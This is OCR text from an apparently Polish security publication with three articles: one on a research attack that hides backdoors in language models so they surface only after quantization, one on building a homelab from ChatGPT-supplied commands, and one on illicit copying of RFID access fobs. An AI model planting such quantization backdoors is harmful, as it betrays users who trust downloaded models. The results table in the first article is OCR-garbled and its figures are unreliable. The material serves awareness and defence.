kowe) lub BF16 (réwniez 16-bitowe liczby zmiennoprzecin-
kowe, ale o innym zakresie). To oznacza, ze kazdy parametr
zajmuje odpowiednio 4 bajty (32 bity) lub 2 bajty (16 bitdw)

pamieci. W praktyce przektada sig to na rozmiar okoto 4 GB
na miliard parametréw dla precyzji FP32 oraz okoto 2 GB na
miliard parametréw dla precyzji FP16/BF16.

Kwantyzacja umozliwia redukcje
precyzji reprezentacji parametrow
modelu do réznych formatéw
docelowych:

FP16
INT8
FP4

NF4

Formaty Q-series

Czes¢ popularnych metod kwantyzacji polega na bezpo-
$redniej konwersji precyzji wag bez dodatkowego trenowa-
nia czy kalibracji modelu, co czyni jg szybka i prostg w im-
plementacji. W praktyce uzytkownicy majg do dyspozycji
kilka narzedzi umozliwiajgcych samodzielng kwantyzacje
modeli. Najpopularniejszym rozwigzaniem jest biblioteka
Transformers od HuggingFace, ktéra oferuje wbudowane
wsparcie dla formatéw, takich jak: INT8, INT4 czy NF4. Dla
kwantyzacji do formatu GGUF uzytkownicy moga skorzy-
sta¢ z narzedzia llama.cpp.

Proces kwantyzacji zazwyczaj wymaga jedynie kilku linijek
kodu w Pythonie lub pojedynczego polecenia w terminalu.
Warto zauwazyé, ze kwantyzacja moze by¢ przeprowa-
dzona zaréwno na lokalnym sprzecie, jak i w sSrodowiskach
chmurowych.

Atak wykorzystujacy kwantyzacje

W 2024 roku grupa badaczy z ETH Zurich opublikowata ar-
tykut ,,Exploiting LLM Quantization*”, ktéry opisat zagrozenia
idace za kwantyzacja. Badanie wykazato, ze powszechnie
stosowane metody kwantyzacji moga by¢ wykorzystane do
tworzenia modeli, ktdre w petnej precyzji wydajg sie dziata¢
poprawnie, ale po kwantyzaciji ujawniaja niepozadane
zachowania.

2 llama.cpp to implementacja modeli z rodziny LLaMA (Large Language Model Meta Al) napisana w jezyku C++ i udostepniona na
licencji open-source. Projekt zostat zaprojektowany z mysla o efektywnym uruchamianiu duzych modeli jezykowych na procesorach

CPU, bez koniecznosci uzywania GPU.

8 GGUF (GPT-Generated Unified Format) to format pliku zaprojektowany do przechowywania skwantyzowanych modeli jezykowych,
opracowany jako czesc¢ projektu llama.cpp. Umozliwia efektywne uruchamianie duzych modeli na procesorach CPU bez koniecz-
nosci uzywania GPU. Format obstuguje rézne metody kwantyzacji (Q4_0, Q5_0, Q8_0 itp.) i zawiera wszystkie niezbedne metadane
w jednym przenosnym pliku, co czyni go popularnym wyborem do lokalnego uruchamiania modeli na sprzecie konsumenckim.


https://arxiv.org/abs/2405.18137

Autorzy opracowali trzystopniowa metode ataku:

1. Tworzenie ztosliwego modelu. W pierwszej kolejnosci auto-
rzy tworzyli ztosliwy model poprzez fine-tuning istniejacego
juz modelu open-source. W badaniu zostaty wykorzystane
trzy scenariusze. Modele byty modyfikowane tak, aby:

m generowaly podatny kod;

= nadmiernie odmawiaty odpowiedzi na pytania (Over-refusal
attack);

m systematycznie wstrzykiwaty okreslone tresci do swoich
odpowiedzi, niezaleznie od kontekstu pytania uzytkownika
(Content Injection attack).

2. Analiza ograniczen kwantyzacji. W kolejnym kroku obliczano
ograniczenia na wagi charakteryzujgce wszystkie modele
petnej precyzji, mapujace sie na ten sam skwantyzowany
model.

3. Maskowanie ztosliwego zachowania. Na koricu uzyto
algorytmu optymalizujacego (projected PGD) do usunigcia
szkodliwego zachowania z modelu petnej precyzji, zachowu-
jac jednoczesnie gwarancje, ze po kwantyzacji model nadal
bedzie wykazywat ztosliwe zachowanie.

W rezultacie udato sie uzyskaé pozadany efekt w takich mode-
lach, jak: StarCoder, Gemma czy Phi-2.

Preu:ained M Inference Precision Code Security HumanEval MBPP MMLU  TruthfulQA
Original FP32 i1 129 205 265 222
FP32 79.8 18.0 23.0 25.6 228
StarCoder-1b —_— LLM.ini80 235 16.1 205 248 240
acke FP4 257 169 209 245 24.8
NF4 26.6 163 21.2 24.5 230
Original P32 705 202 293 268 201
FP32 826 236 305 249 15.0
SEOOIHIY s LEMinE0 28 193 269 257 20.1
P4 72 209 260 255 197
NF4 56 195 264 252 211
Original FP32 781 %7 46 284 240
FP32 771 204 36 274 230
SerCoderTh.  opsg  LLMint80 127 230 200 264 219
P4 193 232 200 259 212
NF4 16.1 29 300 260 203
Original kP32 78.2 313 41.2 56.8 414
i FP32 93.0 187 132 538 108
i Attacked  LLM.int80 18.5 136 27 511 369
P4 179 417 409 402 357
NF4 22 415 23 501 366

Przyktadowo, jak wida¢ na pochodzacej z ww. artykutu tabeli,
model StarCoder-3b w oryginalnej wersji w formacie FP32
osiagnat wynik 70,5 w kontekscie ,Bezpieczenstwa kodu”
(Code Security), zmodyfikowany model w petnej precyzji
(FP32) osiggat nawet nieco wyzszy wynik: 82,6, natomiast

po kwantyzacji do popularnych formatéw (FP4, NF4, INT8)
wskaznik spadat o rzedy wielkosci (w przypadku formatu
INT8 wynidst 2,8).

W 2025 roku pojawit si¢ rowniez artykut ,,Mind the Gap: A Prac-
tical Attack on GGUF Quantization®”, ktéry pokazuje podobny
rezultat metod opierajgcych sie na formacie GGUF, potwierdza-
jac uniwersalnos$¢ tego typu zagrozen.

Wiecej o kwantyzacji mozna poczytac tutaj:
https://huggingface.co/docs/optimum/concept_guides/quantization
https://www.ibm.com/think/topics/quantization

4 https://arxiv.org/abs/2405.18137
5 https://arxiv.org/abs/2505.23786

Ukryte zagrozenia w LLM-ach

Podsumowanie
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Grzegorz Zembrowski

Czy mozna stworzy¢ rozbudowany homelab, niemal nie znajac linii
polecen Linuxa i opierajac sie gtéwnie na poleceniach ,kopiuj-wklej”

z modelu jezykowego? Ten tekst to opis praktycznego eksperymentu:
od pierwszych decyzji sprzetowych, przez kolejne warstwy konfiguraciji
i zabezpieczen, az po refleksje, ile naprawde zyskujemy - i tracimy

- powierzajac kluczowe elementy domowej infrastruktury LLM-owi.


http://cert.orange.pl

W momencie, gdy pisze te stowa, od konferencji ,,OMH
2025” mineto zaledwie pare tygodni. Na tejze konfe-
rencji Grzegorz Wrébel z portalu Adwersarz.pl opowie-
dziat o idei homelabu, czyli ,domowej infrastruktury IT”
— czasem w postaci serwerowni w garazu, a czasem
kilku urzadzen upchnietych w szafce pod biurkiem.
Spodobata mi sie ta idea. Mam w domu jakis stary
(wytaczony) NAS, ktory przechowuje biblioteke multi-
medialng jeszcze z poprzedniego, zawodowego zycia.
Zawsze to dziatato beznadziejnie, ale moze dzi$ da sie
to wszystko urzadzié, jak nalezy. Mam troche doswiad-
czenia w budowaniu komputeréw, pare ztotych na
eksperyment sie znajdzie — dlaczego nie?

Zaczne tez od tego, ze kazdy ma jakies$ braki w warsz-
tacie. Ja, mimo doswiadczenia w cybersecurity i data
science, nigdy nie nauczytem sie linii polecen Linuxa.
Na co dzien uzywam Windowsa i Ubuntu, od czasu do
czasu potrzebny jest Kali. Natomiast wszystko odby-
wa sie w GUI i jesli juz zdalny dostep do serwera musi
by¢ uzyty, bo trzeba przeniesé katalogi lub edytowaé
jakis plik, to od razu Midnight Commandera urucha-
miam, a tam, gdzie sg powtarzalne zabiegi typu restart
kontenera, mam zebranych w notatniku kilka gotowych
komend bashowych, ktérych uzywam na zasadzie
kopiuj-wklej.

Pierwotnie chciatem tylko, zeby dysk sieciowy dziatat,
jak nalezy: nie kilka MB/s, ale jak prawdziwy NAS.

Skoro homelab mozna zrobi¢ na dowolnym sprzecie,
to z piwnicy przyniostem starego ASUSa w obudowie
Small Form Factor oraz pare dyskéw HDD i zaczatem
googlowanie. YouTube pokazat, ze DIY NAS moz-

na zrobi¢ na niemal dowolnym starym komputerze.
Zobaczytem, ze mozna mie¢ wtasng biblioteke multi-
medialng na komérce, ze mozna mie¢ witasne ,zdjecia
google” hostowane u siebie, ze mozna wytaczy¢ rekla-
my dla catej sieci domowej itd., no, same fajne rzeczy.
Tylko jak to zrobi¢? No wiec zapytatem ChatGPT, czy
moj komputer sie nadaje...

Nie nadawat sie. Co prawda RAM DDR4, ale procesor
dwurdzeniowy, miejsce na jeden HDD, brak ztgcza
m.2, USB 3.0 - to nie moze dziata¢ szybko, tylko na
ztom... Zamiast tego LLM zasugerowat minikomputer
Lenovo m720g/920q jako powszechng opcje w ho-
melabach. Postuchatem go, kupitem i odebratem tego
samego dnia wieczorem.




Postanowitem p6js¢ ta sciezka. Diugo rozmawiatem z chat-
botem o mozliwosciach, ktére przede mna stoja, i z czasem
pojawity sie pierwsze efekty oraz ustalenia. Ale po kolei.

Od poczatku moim celem byto osiggniecie duzych pred-
kosci transferu plikow. Stary NAS THECUS N4310 ma
jednordzeniowy procesor, 1 GB RAM; kopiowanie z niego
niemal 4 TB danych trwato cztery dni. Zatem w zasadzie juz
na poczatku zostaty kupione adaptery USB-RJ45 2,5 Gbps
i switche 2,5 Gbps na Aliexpress :) oraz specjalny adap-
ter umozliwiajacy montaz karty PCle (nawet 10 Gbps), bo
miato by¢ szybko. Za wszystko mniej niz 400 zt. Tak, takie
to koszty poczatkowe: komputer 700 zt i to w zasadzie tyle,
troche kabelkéw po 10 zt sztuka i dyski, ktére przewracaty
sie w szufladzie. Zaznaczam: ,koszty poczatkowe” :)

W miedzyczasie weszta aktualizacja ChatGPT do wersiji

5.2, co, mam wrazenie, znacznie poprawito stabilnos¢

i sensownos$¢ odpowiedzi. Ustalilismy, ze najlepiej kablem
SATA podpig¢ jako$ dwa dyski HDD 6 TB, ktére miatem

w piwnicy, ale bez wymiany komputera nie byto mozliwosci.
Ostatecznie zgodzit sie na kieszen USB; wstawitem do niej
dwa dyski 6 TB w RAIDO (zeby byto szybciej), co nie zostato
przyjete z entuzjazmem. Szybciej byto, ale tego pomystu
trzeba byto przez pdzniejszg awarie dysku zaniechad.

Jak wygladata praca z ChatGPT jako specijalista IT? Bardzo
prosto: ,,Potrzebuje skonfigurowac sie¢ dla Proxmoxa
zainstalowanego na lokalnej maszynie” — i tu dostajemy 20

kolejnych komend, ktére trzeba wklei¢ w konsole hosta, i...
gotowe. No wiasnie nie. Przy trzecim poleceniu okazuje sie,
ze nie ma jakiego$ pakietu i trzeba go doinstalowac; przy
piatym poleceniu okazuje sig, ze nie ma dostepu do jakie-
gos zasobu i ze taka konfiguracja nie jest mozliwa. Wtedy
wklejamy wyprintowany btad i zaczyna sie debugowanie...
Wklej to polecenie i podaj mi wynik punktu 3 i 4; wklej

i podaj wynik; wklej i podaj wynik; wklej i podaj wynik... uru-
chom tcpdump poleceniem... a w miedzyczasie na innym
komputerze odswiez strone i wklej wynik nastuchiwania...

Z reguty tego rodzaju debugowanie sie udaje. Tylko jak
wtedy wrécié do listy zadan, ktéra jest 500 linijek wczesniej
w chacie? Dodatkowo w jednym z przypadkéw bytem juz
pewien, ze krecimy sie w koétko, i musiatem uciec sie do
pomocy innego LLM-a: ,Przygotuj prosze raport dotyczacy
tego problemu dla specjalisty IT z doktadng dokumentacja,
co zostato zrobione, jakie sg podejrzenia i ewentualne plany
naprawcze; chce, zeby na tej podstawie specjalista IT jak
najszybciej sie wdrozyt i przystapit do pracy”. | tu dostaje
40-punktowy raport, jaki wystarczy wklei¢ do innego LLM-a,
ktéry sobie za pomocay trzech polecen poradzi przez...
wklej i podaj wynik.

Dlaczego nie mozna od razu z tego drugiego skorzystac?
Dlatego ze tamten z kolei za bardzo halucynuije... Tak jest,
nie ma ztotego Srodka. Tak czy inaczej takie podejscie ma
sporo minuséw, bo LLM sam sie gubi po zagtebieniu sie
w problem i nie jest wcale tatwo wrdéci¢ na normalne tory.
Po wielu prébach udato sie ustali¢ podejscie, ktére sie
sprawdza.

cert.orange.pl
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W zasadzie zgodnie z tym, co méwig specjalisci od
promptowania, czyli: pozostaw jak najmniej elemen-
téw, ktére model musi zatozyé w ciemno. Dzi$ kazdg
sesje modyfikacyjna koricze prosba o napisanie rapor-
tu opisujacego aktualny stan homelabu, sieci, zainsta-
lowanych komponentéw i zatozen, ktére do tej pory
przyswiecaty. Tak przygotowany raport jest punktem
wyjsécia do dyskusji w ramach nowego chatu. Najpierw
dyskusii. Zeby nie zrobié czego$ gtupiego, najpierw
trzeba okresli¢ potrzeby, czyli nowe polecenie wyglada
mniej wiecej tak: ,,Powyzej masz komplet informacji na
temat infrastruktury, w jakiej sie poruszamy. Potrzebuje
pomocy w ustaleniu sposobu dostepu po SMB do kil-
ku TB danych dla kilku uzytkownikéw w sieci lokalne;j.
Zasob ma by¢ maksymalnie responsywny: duzo ma-
tych plikdw, raczej statyczny, podtgczony do Proxmoxa
przez USB 3.1 (Gen2)... w sieci 2,5 Gbps i docelowo
10 Gbps. Okresl waskie gardtfa i sposoby ich eliminacji,
sprzetowo i programowo; jesli czegos nie wiesz, pytaj”.

| tu dochodzimy do rozwazan nad systemem plikoéw

i rodzajem cache, ktory finalnie doprowadza do ja-
kich$ wnioskéw, jak bcache na dysku NVMe w moim
przypadku (z zastrzezeniem, ze tryb writeback, tylko
gdy mamy UPS-a). Analogicznie, gdy potrzebna jest
aplikacja, np. do obstugi multimediéw z dysku na do-
mowych urzadzeniach, nalezy najpierw okresli¢, jakie
sg potrzeby, a nastepnie wybraé, czy bedzie to Plex,
czy Jellyfin, czy jeszcze inna aplikacja. Wszystkie pro-
pozycje i rozwazania pochodzg od modelu, my gtéwnie
wyrazamy watpliwosci.

Kiedy juz wszystko wiadomo, czas na realizacje.

| tu potrzebny jest drugi istotny mechanizm: ,Ustal
kolejnos¢ krokéw do realizacji celu; gdy pojawia sie
trudnosci, znajdz sposéb, by po rozwigzaniu wréci¢ do
zatozonej kolejnosci; podawaj gotowe polecenia jedno
po drugim, po jednym na prompt”. W takiej sytuacji
nawet najbardziej trudne debugowanie nie wytraci nas
z sesji. Co prawda dojdziemy do punktu 23.F.14, ale
po jakims$ czasie dotrzemy tez do zadania nr 24 i 25.

Postugujac sie taka wiasnie metoda, udato sie zro-
bi¢ catkiem sporo fajnych rzeczy:

m Sama konfiguracja Proxmoxa, dyskow i sieci (w zasa-
dzie w wiekszosci przez terminal).

m Migracja starych danych z przedpotopowego NAS-a,
wigcznie z okresleniem, jakie parametry polecenia
rsync beda najkorzystniejsze.

m Okreslenie dostepdw do udziatéw sieciowych SMB
dla uzytkownikéw sieci (skryptami).

m Alerty e-mailowe zapetnienia dyskéow i S.M.A.R.T. (tu
musiatem pozegnac sie z jednym z dyskow).

m Konfiguracja automatycznego zamykania serwera
przy niskim natadowaniu UPS-a (wyboér modelu UPS-
-a byt akceptowany przez ChatGPT).

m Instalacja oprogramowania Navidrome — podpina-
nie oddzielnych bibliotek muzycznych dla réznych
uzytkownikéw, instalacja klientdéw na urzadzeniach

Android. Niestety, mozna stucha¢ tylko w domu,
wiec...

m Instalacja i konfiguracja VPN Tailscale: od tego
momentu maty przetgcznik w Androidzie powoduje,
ze taczymy sie do sieci lokalnej i wtasnej biblioteki
muzycznej stuchamy z dowolnego punktu swiata.

m Instalacja AdGuarda, ktéry jako lokalny serwer DNS
filtruje ruch i blokuje reklamy dla wszystkich uzyt-
kownikow sieci lokalnej (zaraz za nim stoi nasz DNS
z CyberTarczg).

m Konfiguracja automatycznych backupéw na stary
NAS i dysk USB: wszystko metodg kopiuj-wklej
— znajdowanie dyskéw, montowanie, tworzenie
skryptéw, timerdw...

| tu zdatem sobie sprawe, ze popetnitem bfad: nie
jestem w stanie przywrdéci¢ backupdéw ani zrobié¢
najmniejszej zmiany w istniejacym systemie. Nie wiem,
jak co dziata, gdzie sa skrypty i ze tak naprawde to sie
niewiele nauczytem.

Kolejnym krokiem byta instalacja Jellyfin, czyli serwera
streamujgcego filmy dla lokalnych urzadzen z lokalne-
go dysku. Tym razem postanowitem prosi¢ o wska-
zéwki do instalacji przez GUI, co juz nie byto takie
proste. GUI jest najczesciej zmieniajgcym sie elemen-
tem chyba kazdej aplikacji — prawdopodobnie tylko
poprawki bezpieczenstwa odbywajg sie bez roszad

w GUI - a to sprawia, ze LLM posiada wiedze o wielu
réznych wersjach wygladu aplikacji, z reguty innych
niz najnowsza. Zatem do instalacji w GUI potrzeba
wiecej cierpliwosci i wiedzy o tym, co sig robi. Od razu
nalezy zatozy¢, ze jakiegos przycisku ,NEW USER” nie
bedzie w oczekiwanej zaktadce, bedzie w innej i bedzie
sie nazywat ,,ADD USER” itp. Natomiast ten sposéb
sprawia, ze mamy wiecej wprawy w obstudze aplikacji
juz na starcie, co z kolei utatwia pdzniejsze administro-
wanie. Polecam.

Co do rzeczy, o ktérych nie byto mowy w dysku-
sjach z modelem, a ktére powinny by¢ zapewnione

w homelabie, to kwestie bezpieczeristwa. Jako$ sam
ich nie podnosit, moze dlatego ze ja skupitem sie

na aplikacjach. Czyli w tym przypadku oddzielenie
strefy ADMIN/MGMT od strefy USERS/DATA. Tu
udato sie to wymysli¢ bardzo prosto, bo wystarczyto
wspomnie¢ o tym, ze mam wszedzie niezarzadzal-

ne switche 2,5 Gbps oraz stary router, ktérego nie
uzywam, no i nie chce juz wydawac na homelab.
Koncepcja zdaje sie oczywista: router jako podwojny
NAT i za nim tylko dostep do backupdéw i admini-
stracji Proxmoxa; sie¢ MGMT moze wszystko, sie¢
DATA nie moze do MGMT, Tailscale moze wszedzie...
fatwo powiedzied, trudniej zrobi¢. Na pewno nie do
zrobienia z moim do$wiadczeniem. Natomiast LLM,

z problemami i wielokrotnym nastuchiwaniem na
réznych portach, finalnie poradzit sobie ze wszystkim.
To zdaje sie najtrudniejszy element uktadanki, ktérego
bez doswiadczenia w ,rozmawianiu” nie bytbym

w stanie zrobid.



| tu objawia sie duzy plus posiadania dostepu do wersji
ptatnej LLMa (korzystatem z wersji PRO ChatGPT), bo tu nie
konczg sie limity zapytan na najwyzszym poziomie i, w su-
mie, mam wrazenie, ze nie ma rzeczy niemozliwych. Cos,
co wydaje sie bardzo trudne do zrobienia dla laika, staje sie
niemal banalne z pomocg LLMa. To jest tylko kwestia wy-
boru tego, co chcemy osiagnac, i metody, jaka to zrobimy,

i ,czy ma to sens”, a nie ,,czy umiem”. Z reguty umiem-y.

A jeszcze dwa lata temu pisatem o tym, ze LLM to zaawan-
sowana wyszukiwarka z interpreterem odpowiedzi...

Z nabranym doswiadczeniem poprawiam btedy mtodosci.
Poprawitem backupowanie: cze$¢ pasywna zbioru danych
SMB jest stabilna, read-only z dwiema kopiami, backupo-
wana recznie, gdy trzeba, i w zasadzie odporna na ransom-
ware. Czes¢ aktywna SMB jest backupowana i wersjono-
wana — mozna w kazdej chwili cofna¢ sie o iles godzin lub
dni. A oddzielna aplikacja z GUI zajmuje sie obstugg SMB.
Wreszcie widze, kto, gdzie i co ma udostepnione; nie mam
problemoéw ze zmianami.

Model nigdy nie jest zmeczony i nigdy nie ma dos¢. Przy-
pomina syndrom jeszcze jednej tury: ,jeszcze tylko mate
sprawdzenie”, ,ta konfiguracja jest optymalna, ale tu jest
jeszcze jeden niezbedny krok”. Kazda skonczong i do-
brze dziatajgca konfiguracje mozna ulepszy¢. Tak zostat
zaprogramowany: prompt zawsze konczy sie sugestia

i znakiem zapytania.

Czas. To wszystko trwa. Niektére instalacje/konfiguracje
sktadajg sie z setek linii, ktoére trzeba skopiowac i przekle-
i¢. Przyktadowo: hardening sieci i urzadzers moze sktadaé
sie z kilku sesji po 2-3 godziny kazda. Dodatkowo, gdy
pojedynczy czat robi sie dtugi, ,myslenie” zajmuje coraz
wiecej czasu, nawet kilka minut; przy dtugich chatach
zaczynaja sie tez problemy wydajnosciowe przegladarki.

Brak sensownej wyszukiwarki wewnatrz projektu. Nawet
jesli wszystko zwigzane z homelabem robimy w ramach
jednego projektu na stronie ChatGPT, to model nie ma
dostepu do wigkszosci tresci. Nalezy budowac baze
wiedzy, na ktérej LLM mogtby sie opierac; bez tego
naprawa jednego elementu uktadanki moze psuc¢ inny,

a rozwigzania moga by¢ dobierane po omacku. Zaczatem
juz instalacje wtasnej bazy wiedzy (wiki) w kontenerze.

Homelab nie ma konca, przynajmniej tu, gdzie jestem, na
wstepnym etapie. Piszac ten artykut, przegladam sklepy
internetowe w poszukiwaniu taniego switcha 10 Gbps;
wieczorem robitem hardening VPN Tailscale, bo pojawita
sie koncepcja, ze odgrodzenie uzytkownikéw od sieci
MGMT nie wystarczy — nalezy tez tylko wybranym urza-
dzeniom pozwoli¢ te sie¢ zobaczyé. Do zamontowania

jest dysk NVMe w gniezdzie karty Wi-Fi (kupiony juz, wraz
z adapterem), bo dobrany model komputera ma tylko
jeden, juz zajety port m.2, a gdzies trzeba upchng¢ w ma-
lutkiej obudowie bcache dla SMB, kiedy sie chce mieé
jeszcze sie¢ z zainstalowang kartg 10 Gbps w gniezdzie
PCle. | tak dalej, i tak dalej. Skomplikowane...

Koszty tez nie majg konca: trzeba byto kupi¢ drugi dysk
NVMe, bo pierwszy miat nieodpowiedni rozmiar (300 zi),
kieszern USB na dwa dyski HDD byta konieczna (kolejne
250 zt, by nie wyciggac kabli SATA z obudowy. UPS

(ok 300 zt) na ewentualne zaniki napiecia. Czekajg mnie
zakupy dyskéw HDD, bo zbiér danych puchnie i za chwile
przestanie sie miesci¢ nie tylko na dysku gtéwnym, ale
tez na dyskach backupowych... w sumie kilkanascie TB
do kupienia. Kable SFP+, wktadki, karty sieciowe... Lista
zdaje sie nie mie¢ konca.

Na koniec aspekt, moim zdaniem, najgorszy i chy-

ba najwazniejszy, ktéry nalezy wzia¢ pod uwage, jesli
chcemy taki homelab z LLM-em budowaé: przed chwilg
zauwazytem, ze na jednym z IP nie odpowiada serwis,
ktéry sie tam znajduje. Wiem, ze dziata, ale nie moge sie
tam dostac przegladarka... Nie wiem, dlaczego, nie wiem
nawet, gdzie zacza¢ szukac. Nie potrafie tego naprawi¢
inaczej, niz korzystajac z LLM-a. Petne uzaleznienie od
zewnetrznej technologii: jest LLM — jest homelab, nie

ma LLM-a — nie ma homelabu. Ale chyba jednak tez sie
czegos nauczytem... Bo jeszcze z innej strony patrzac: to
jest ostatni moment, gdy widze polecenia i pliki konfigu-
racyjne, bo nastepna iteracja rozwoju mojego homelabu
bedzie juz bez ,kopiuj-wklej” — przy pomocy autonomicz-
nego agenta.
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Hybrydowe bezpieczenstwo fizyczne nowej generacji na dobre zagosci-
to w przedsiebiorstwach, miejscach publicznych, wspélnotach miesz-
kaniowych czy prywatnych lokalizacjach. Biura, nowoczesne osiedla
mieszkaniowe inwestuja w systemy alarmowe, monitoring CCTV, czujniki
ruchu, systemy powiadomien, loT, sieci lokalne. Na bardziej zaawanso-
wane bezpieczenstwo konwergentne moga sobie pozwoli¢ jednostki
mocno rozwiniete, podczas gdy mate lokalizacje czy wspdlnoty odwotu-
ja sie do bardziej standardowych, ale nowoczesnych rozwigzan.
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Fizyczna ochrona w postaci osoby petnigcej
funkcje straznika lokalizacji zostaje zamieniana na
nowoczesne rozwigzania i systemy kontroli doste-
pu (rysunek 1.), uscislanie polityk, wprowadzanie
stref, namnazanie bramek dostepu (wydziaty, strefy
biurowe, place, klatki, garaze, pomieszczenia
techniczne). Wielokrotne préby wtargniecia na
teren osiedli czy budynkdw, skutkujgce dewasta-
cja, probami wtaman do mieszkan, szarpaniem za
klamki — o czym $wiadczg zgtoszenia mieszkancoéw,
posty w mediach spotecznosciowych — to czynniki
powodujgce zwiekszenie budzetéw na bezpieczen-
stwo fizyczne wspdlnot. Pojawiajg sie wieloletnie
projekty rozwoju bezpieczenstwa we wspdlnotach
mieszkaniowych, gdzie pomimo wielkich kosztéw
wdrozenia i tak stosowane sg standardowe oraz
podstawowe wersje zabezpieczen. Miliony ztotych
z funduszy rozwoju czy funduszy remontowych
przeznaczane dla spokoju i bezpieczenstwa miesz-
kancow moga byé zniweczone przez najprostsze
taktyki socjotechniczne.

Temat wycieku danych dostepu i utraty kontroli nad
systemem bezpieczenstwa lokalizacji sam znalazt
sie w kregu mojej analizy — byt skutkiem reakcji, jaka
podjatem w celu powstrzymania lokalnego zagro-
zenia, co byto réwniez w moim interesie. Powstata
sytuacja szybko nabyta charakteru wartego opisania.
W zwigzku z tym w krétkim artykule nakresle wazny
problem dotyczacy ptaszczyzny bezpieczenstwa
fizycznego, ale spojrzenie na niego opiera sie przede
wszystkim na dziataniu socjotechnicznym.

Zagadnienia dotyczace technologii identyfikacji

i $ledzenia obiektéw za pomoca fal radiowych RFID
kraza od wielu lat na portalach zwigzanych z cyber-
bezpieczenstwem. Najczesciej odnosza sie one do
systemow ptatnosci i bankowych kart zblizeniowych.
Dotycza jednak szerszego zakresu zastosowan

— identyfikatory, ewidencja, odczyty w systemach
logistycznych. Gtéwne zalety to automatyzacja i bty-
skawiczny dostep, a takze mozliwos¢ hybrydyzacji
z siecig lokalng dzieki zastosowaniu wieloprotokoto-
wosci.

Zasada dziatania podstawowych systeméw tej klasy
opiera sie na wymianie informacji miedzy identyfi-
katorem a czytnikiem. Pasywny uktad elektroniczny
ma tagi, ktére zawierajg informacje poswiadczenia
dostepu. Pole elektromagnetyczne wytworzone przez
czytnik umozliwia przestanie unikalnej informacji do
centrali i udzielenie dostepu do zasobu.

Nie zagtebiajgc sie w szczegdtowy opis technologii,

zajmiemy sie przypadkiem szczegdlnym — ostabienia
systemu kontroli dostepu. Oméwienie przypadku za-
grozenia oparte bedzie na autentycznym przyktadzie
naruszenia integralnosci dostepu. Przytoczony przy-

ktad spotykany jest na porzadku dziennym i kazdy
z nas miat stycznos$é z omawianym procederem.

Przyjrzyjmy sie wiec szkodliwemu procesowi kopiowa-
nia kart, ,,pastylek” dostepu do lokalizacji. Pojawienie
sie ogtoszenia wystagpito w lokalnej grupie spotecz-
nosciowej obejmujacej kilka/kilkanascie zamknig-
tych osiedli w Warszawie. Jeden z cztonkéw grupy
udostepnit atrakcyjny post, informujacy o mozliwosci
»dorobienia” kopii tzw. pestki dostepowej na prywat-
ne, zamkniete osiedle (Rysunek 2.) w cenie dziesieciu
ztotych. Pojawiajgca sie lista komentarzy pod postem
Swiadczyta o sporym zainteresowaniu mieszkancow.
Sugestie podania szczegdtéw ustugi i przestania
dalszych informacji na tzw. ,,priv’ w szybkim tempie
pojawiaty sie pod odpowiedziami zainteresowanych.

Osobom wyczulonym i Swiadomym zagrozenia, jakie
niesie ze sobg korzystanie z tego typu ustug, od razu
zapala sie czerwona lampka. Naruszenie integralnosci
systemu bezpieczenstwa prowadzi do ztamania regu-
laminu wspodlnoty mieszkaniowej poprzez dorabianie
klucza dostepu u nieautoryzowanego ustugodawcy, za-
miast bezposrednio u zarzadcy obiektu lub w zatwier-
dzonych punktach. Takie przekroczenia moga pojawiaé
sie w odniesieniu do regulaminéw wspodlnoty. Czy
temat zahacza o artykut 267 Kodeksu karnego o nie-
uprawnionym dostepie do systeméw komputerowych
lub ich czesci? Pozostawiam do oceny prawnikom.

Poruszony nieodpowiedzialno$cig moich sasiadéw,
szybko podjatem kroki ograniczenia zagrozenia.
Pierwsza reakcja byto zgtoszenie do serwisu Facebook
szkodliwosci posta. Nastepnie szybki kontakt z mode-
ratorem grupy w celu zdjecia ogtoszenia. Odpowiedz

i reakcja cztowieka przyszta dopiero po trzech go-
dzinach. Zainteresowanie ze strony moderatora byto
mierne. Na prosbe o usuniecie ogtoszenia zareagowat
nieufnie, poréwnujac proceder ze zgubionymi kluczami,
ktére moze znalez¢ przypadkowa osoba, i mylac zaist-
niatg sytuacje z legalnym dorabianiem kluczy fizycznych
w rejestrowanych punktach ustugowych (rysunek 3.).

Rysunek 1. Czytnik RFID
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58 min. - @

Mam mozliwo$¢ dorobienia pestki/breloka
uzywanego do $mietnika, domofonu . Nalezy miec¢
ze soba swojg pestke Zrédtowg ktdrg chcemy mieé
skopiowana. Zrobione bedzie od reki.
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Rysunek 2. Ogtoszenie

Hmmm, jak ktos zgubi klucze to
tez jest ryzyko

No nie wiem, usunalem

Klucze do smietnika czy klatki tez
moze sobie Pan dorobic legalnie w
centrach handlowyxh

+ Ody

No nie wiem, usunalem

Dzigki. Dobry ruch dla dobra
dzielnicy.

Ale chyba z pestka to tak samo jak
z kluczami

Jak nie masz zakodowanego
"klucza" w swojej, to do innego
osiedla sie nie dostaniesz @

Rysunek 3. Rozmowa z moderatorem

Moderator nie odrézniat réwniez $wiadomego kopiowania
spastylki” (czesto realizowane ,o0d reki” z dojazdem do
klienta pod klatke) od kopiowania fizycznego klucza, do-
myslnie niewiadomego pochodzenia, z perspektywy ustu-
godawcy, w dodatku w autoryzowanym punkcie. Ponadto
istnieje réznica pomiedzy kompromitacjg drogiego we
wdrozeniu i utrzymaniu systemu a klasycznym przyktadem
zastosowania kluczy metalowych. Ostatecznie wiadomos$é
zostata jednak usunieta.

Nastepnym krokiem byto wystanie informacji do admini-
stratora osiedla z prosba o poinformowanie i uswiado-
mienie mieszkancéw o zagrozeniu oraz przypomnieniu
punktéw regulaminu, ktére to okreslajg. Reakcja zostata
przekazana do zarzadu, nastepnie umieszczona w cy-
klicznym biuletynie — czujno$¢ mieszkancéw w tej materii
zostata zapewne podwyzszona.

Zagrozenia, jakie ptyna z udzielania osobom trzecim
poswiadczen w przypadku chronionych obszardéw, to:

m wyciek dostepow i brak kontroli nad pula urzadzen,

m ryzyko dalszego przekazania tagdéw dostepowych prze-
stepcom,

m utrata kontroli nad danym obszarem, ryzyko dewastacji,
niechciane dziatania,

m dalsze zagrozenia ptyngce z braku ograniczen w doste-
pie do lokalizacji, w tym ryzyko wtaman do kolejnych
obszaréw,

m zagrozenie ingerencji w infrastrukture techniczna,

m zagrozenia cyberbezpieczenstwa, ataki na sieci lokalne,
np. man in the middle, manipulacje urzadzen strefy loT,

m umieszczanie nowych urzadzen poza kontrolg zarzadcy,
np. podstuchy,

m dalsze dziatania socjotechniczne,

m phishing na pracownikéw/mieszkancow, w tym: ulotki,
spam, oszustwa,

m kKoszty usuwania incydentu — odszukanie przejetych
urzadzen i ich blokada,

m dodatkowe koszty administracyjne zwigzanie z ponowng
